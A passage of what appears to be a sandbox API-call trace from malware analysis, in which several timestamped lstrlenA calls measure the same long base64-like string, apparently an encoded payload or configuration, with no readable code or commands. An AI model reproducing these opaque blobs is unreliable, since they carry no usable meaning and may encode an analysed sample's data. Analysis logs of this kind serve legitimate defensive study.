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") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
